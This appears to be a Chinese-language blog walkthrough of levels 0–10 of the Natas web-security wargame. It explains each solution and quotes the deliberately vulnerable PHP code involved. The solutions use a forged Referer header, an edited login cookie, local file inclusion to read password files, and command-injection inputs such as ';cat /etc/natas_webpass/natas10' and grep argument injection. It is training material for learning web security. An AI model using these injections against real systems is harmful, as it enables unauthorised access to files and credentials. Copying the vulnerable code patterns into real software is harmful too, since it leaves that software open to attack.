Skip to content

Natas wargame (level 0 - 10) 詳解(1)

Published: at 04:34 AM (6 min read)

Natas 是一個 Web 資安的 wargame,蠻適合剛入門的新手玩玩

這邊分享一下我自己每關的思路,為了保有遊戲體驗,就不分享破關的帳密囉 :P

wargame 網址: https://overthewire.org/wargames/natas/natas0.html

每關的帳號/密碼: natasX/{password}

e.g. level0 ( http://natas0.natas.labs.overthewire.org/ )

帳號: natas0
密碼: natas0

下面就開始分享破關思路惹~


You can find the password for the next level on this page.

嗯,右鍵打開 web devtool(element tab) 就找到密碼了

You can find the password for the next level on this page, but rightclicking has been blocked!

常做網頁開發的應該都是用快捷鍵打開 web devtool (?
mac: cmd+option+I
windows: F12

有密碼了🎉

There is nothing on this page

再次打開 web devtool 會看到多了一個可疑的 img (1px*1px)

<img src="files/pixel.png" />

直覺來測測 web server directory index (http://natas2.natas.labs.overthewire.org/files/)

嗯,密碼果然在 users.txt XD

There is nothing on this page

和上一關相同@@

打開 web devtool 看看有沒有其他提示

No more information leaks!! Not even Google will find it this time…

Google ? Search Engine 嗎?

測測 robots.txt ( http://natas3.natas.labs.overthewire.org/robots.txt )

看起來是有個不明目錄設定為 disallow ~ 試著進入後就會發現 users.txt

Access disallowed. You are visiting from "" while authorized users should come only from “http://natas5.natas.labs.overthewire.org/

嗯…看起來提示是 Referrer 或是 Origin header,可以先試著打開 devtool 後,點擊 network tab,先複製第一個 request(copy as Curl),手動置換掉 Referrer header 為以下

curl 'http://natas4.natas.labs.overthewire.org/index.php' \
  ....
  -H 'Referer: http://natas5.natas.labs.overthewire.org/' \
  ....

就可以獲得密碼了

Access disallowed. You are not logged in

常見的登入機制會是 cookie/token,因此先檢查看看 web devtool 中 Application tab,是否有設定任何相關的 Cookie.

此時會發現一個 loggedin: 0 的 cookie,試著將值改為 1,重整就獲得密碼囉!

提示為一個表單配上 source code(php),會看到表單的是由以下這段邏輯檢驗

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

嗯…有個 includes/secret.inc 的 secret 檔,試著在網址列打入

http://natas6.natas.labs.overthewire.org/includes/secret.inc

獲得了 secret,填入表單 submit 後就有密碼了 ~

看起來有兩個 anchor link,分別會帶上不同的 GET query string,打開 web devtool 看看有沒有其他線索

hint: password for webuser natas8 is in /etc/natas_webpass/natas8

看起來可能有哪裡可以做 injection 拿到此路徑的資料

試試看連結帶上不同的 query string ( http://natas7.natas.labs.overthewire.org/index.php?page=/123 )

發現噴有以下的錯誤

Warning: include(/123): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening '/123' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21

明顯的會拿 query string 參數去 include 相關的路徑,這也就代表我們試試任意替換路徑 XD

試試 http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

順利的獲得密碼了!

跟第六關幾乎一樣,不同的是表單檢驗邏輯做了更改

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

看起來目標是要將 encode 過的 secret 反解回去 XD

將 encode 的 secret decode 回去

<?php
  echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>

獲得 secrect 後輸入表單就可以拿到密碼了

同樣的給了 source code 作為提示

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

查一下 passthru 的用法

A common use for this is to execute something like the pbmplus utilities that can output an image stream directly

嗯,這段程式碼明顯的是有 command injection 的漏洞

試著打看看 ;ls -al; ,嗯…如實地印出了有哪些檔案

看得到此目錄是由 http authentication 做使用者驗證的,要由 .htpasswd 反解密碼不太可能

試著掃看看有沒有可疑的檔案?

;find / -name "*pass*"; 會發現有兩個可疑的目錄

/etc/natas_webpass
/etc/natas_pass

試著執行 ; ls -al /etc/natas_webpass; 發現裡面有各關的目錄及相應的權限

-r--r----- 1 natas10 natas9    33 Dec 20  2016 natas10

嗯…執行 ;cat /etc/natas_webpass/natas10 就拿到密碼了 ~

跟上關幾乎一模一樣,差在多了 injection 的惡意字元偵測

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

不準你用 ;& XD

尋找看看其他 command injection 的方式,仔細看看 grep 的用法

我們可以先輸入 '.*' -l -r / 列出所有 natas10 可存取的檔案,進一步的看看哪些檔案較為可疑

會發現跟上關的目錄看起來是一樣的:

/etc/natas_webpass/natas10
/etc/natas_webpass/natas11

接下來我們試著輸入 '.*' -r /etc/natas_webpass/natas11

就獲得密碼了 ~